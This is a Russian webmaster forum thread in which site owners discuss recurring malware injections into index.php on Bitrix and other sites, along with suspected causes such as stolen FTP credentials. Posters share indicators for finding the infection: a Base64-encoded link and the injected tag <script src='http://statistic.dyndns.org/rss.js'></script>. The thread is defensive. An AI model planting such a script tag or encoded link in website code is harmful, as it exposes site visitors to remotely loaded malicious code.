Вероятно вирус на сайте.

123
R
На сайте с 24.01.2008
Offline
180
#11

Если дата не изменена в зараженном фалйе, то вероятность вины хостера увеличивается.

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
G1
На сайте с 27.04.2012
Offline
0
#12

Коллеги, таже фигня появилась недавно, у меня сайты на Битриксе. Вирус прописал в корневомо каталоге в инедкс.пхп свой код (точнее строку), я там почистил, все файлы просканил антивирем и поиском строчки - рез-тата ноль. Однако с завидной периодичностью через два дня сайт заражается. В БД заметил тоже наличие вредоносной строки-ссылки, правда я так понял, что в бд хранится таже копия индекс.пхп сайта, разбираюсь еще. Подозрений на хостера пока нет, а вот на троян когото из моих разрабов есть, узнаю щас время их захода на сайт во фтп, возможно в этом трабла

Creative Team
На сайте с 23.04.2012
Offline
17
#13

Скорее всего ссылка закодирована в Base64, ищите в индексных файлах подобную строчку

aHR0cDovL3N0YXRpc3RpYy5keW5kbnMub3JnL3Jzcy5qcwo=
Помогу избавиться от вирусов, шеллов, айфреймов, скрытых ссылок и всякой нечисти на ваших сайтах (/ru/forum/835493)
G1
На сайте с 27.04.2012
Offline
0
#14

Спс, вечером просканю. Какбы еще найти уязвимость, через которую эта зараза проходит

S
На сайте с 12.05.2010
Offline
71
#15
Creative Team:
Скорее всего ссылка закодирована в Base64, ищите в индексных файлах подобную строчку
aHR0cDovL3N0YXRpc3RpYy5keW5kbnMub3JnL3Jzcy5qcwo=

Нет там такого. Антивирусом просканил (CureIt) ниче не нашел. Сдается мне пароли с FileZilla стырили и добавляют на сайт.

C
На сайте с 10.11.2011
Offline
4
Con
#16
starclyde:
Нет там такого. Антивирусом просканил (CureIt) ниче не нашел. Сдается мне пароли с FileZilla стырили и добавляют на сайт.

У меня FileZilla содержит раза в 3 больше сайтов, чем было взломано... Так что я на нее пока не грешу.

G1
На сайте с 27.04.2012
Offline
0
#17

Здесь вопрос такой, у меня в админке сечется кто как заходил - там тихо. Никто из прогов не пользвуется файлзиллой.

---------- Добавлено 27.04.2012 в 12:57 ----------

Con:
У меня FileZilla содержит раза в 3 больше сайтов, чем было взломано... Так что я на нее пока не грешу.

Файлзилла пароли вобще не шифрует, не советую пользоваться. Лучше уж тотал последний, там хоть пароль можно поставить на все доступы по фтп

Creative Team
На сайте с 23.04.2012
Offline
17
#18
starclyde:
Нет там такого. Антивирусом просканил (CureIt) ниче не нашел. Сдается мне пароли с FileZilla стырили и добавляют на сайт.

Так антивирус и скорее всего не найдет! Это просто ссылка зашифрованая, как и любая другая ссылка на вашем сайте.

А насчет FTP - полностью отключите доступ по протоколу, почистите от ссылок и посмотрите появятся они снова или нет.

flame666
На сайте с 15.06.2010
Offline
118
#19

Такая же проблема возникла, 4 сайта на одном хостинге и все заражены....

Мир не Disney - помогай за respect (с)
WebGomel
На сайте с 29.10.2011
Offline
78
#20

Сомневаюсь я, что дело в хостерах. Я например видел

<script src="http://statistic.dyndns.org/rss.js"></script> 

2 раза. Один раз на Dle, но там на сайте были залиты 3 шелла, и один раз вообще на Юкозе

Удалённый системный администратор ( https://remadmin.com )
123

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий